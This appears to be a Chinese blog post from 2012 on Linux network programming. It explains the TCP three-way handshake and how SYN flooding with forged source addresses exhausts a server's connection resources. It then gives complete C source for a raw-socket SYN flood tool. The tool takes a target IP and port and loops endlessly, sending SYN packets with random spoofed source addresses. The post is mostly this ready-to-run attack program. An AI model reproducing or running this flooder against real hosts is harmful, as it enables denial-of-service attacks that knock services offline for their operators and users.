Linux网络编程之DOS(拒绝式服务)实例
2012-11-22 14:42 Chung-shu 阅读(423) 评论(0) 收藏 举报1. TCP协议
TCP 协议是一种可靠的连接,为了保证连接的可靠性,TCP 的连接要分为几个步骤。我们把这个连接过程称为"三次握手"。下面我们从一个实例来分析建立连接的过程。
第一步客户机向服务器发送一个 TCP 数据包,表示请求建立连接。为此,客户端将数据包的 SYN 位设置为 1,并且设置序列号 seq=1000(我们假设为 1000)。
第二步服务器收到了数据包,并从 SYN 位为 1 知道这是一个建立请求的连接。于是服务器也向客户端发送一个 TCP 数据包。因为是响应客户机的请求,于是服务器设置 ACK 为1,sak_seq=1001(1000+1),同时设置自己的序列号seq=2000(我们假设为 2000)。
第三步客户机收到了服务器的 TCP,并从 ACK 为 1 和 ack_seq=1001 知道是从服务器来的确认信息。于是客户机也向服务器发送确认信息。客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接。
最后一步服务器受到确认信息,也完成连接。
2. DOS(拒绝式服务)方式
客户机先进行第一个步骤。服务器收到后,进行第二个步骤。按照正常的 TCP 连接,客户机应该进行第三个步骤,不过攻击者实际上并不进行第三个步骤。因为客户端在进行第一个步骤的时候,修改了自己的 IP 地址,就是说将一个实际上不存在的 IP 填充在自己 IP 数据包的发送者的 IP 一栏,这样因为服务器发的 IP 地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务端会在那边一直等待,直到超时。当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光而不能再接收客户机的请求。这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功连接。
3. 源代码
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/in_systm.h> #include <netinet/tcp.h> #include <sys/socket.h> #define LOCALPORT 8888 void send_tcp(int sockfd, struct sockaddr_in *addr); int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in addr; unsigned long s_addr; int portnumber; int on=1; if(argc!=3) { printf("ip address or portnumber error.\n"); exit(1); } if((s_addr=inet_addr(argv[1]))==-1) { printf("ip address or portnumber error.\n"); exit(1); } if((portnumber=atoi(argv[2]))<0) { printf("ip address or portnumber error.\n"); exit(1); } /*客户程序开始建立sockfd描述符*/ if((sockfd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP))==-1) { printf("socket error: %s.\n", strerror(errno)); exit(1); } /*客户程序填充服务端信息*/ bzero(&addr, sizeof(addr)); addr.sin_family=AF_INET; addr.sin_port=htons(portnumber); addr.sin_addr.s_addr=s_addr; /*设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写*/ setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)); /*只有超级用户才可以使用原始套接字*/ setuid(getpid()); send_tcp(sockfd, &addr); return 0; } void send_tcp(int sockfd, struct sockaddr_in *addr) { char buffer[100]; /*数据包缓冲区*/ struct ip *ip; struct tcphdr *tcp; int len; len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer, 100); /*填充IP数据包的头部*/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; ip->ip_hl=sizeof(struct ip)>>2; /*IP数据包头部长度*/ ip->ip_tos=0; ip->ip_len=htons(len); /*IP数据包的长度*/ ip->ip_id=0; ip->ip_off=0; ip->ip_ttl=MAXTTL; ip->ip_p=IPPROTO_TCP; ip->ip_sum=0; ip->ip_dst=addr->sin_addr; /*填充TCP数据包*/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /*发送数据包*/ while(1) { ip->ip_src.s_addr=random(); sendto(sockfd, buffer, len, 0, addr, sizeof(struct sockaddr_in)); } }
浙公网安备 33010602011771号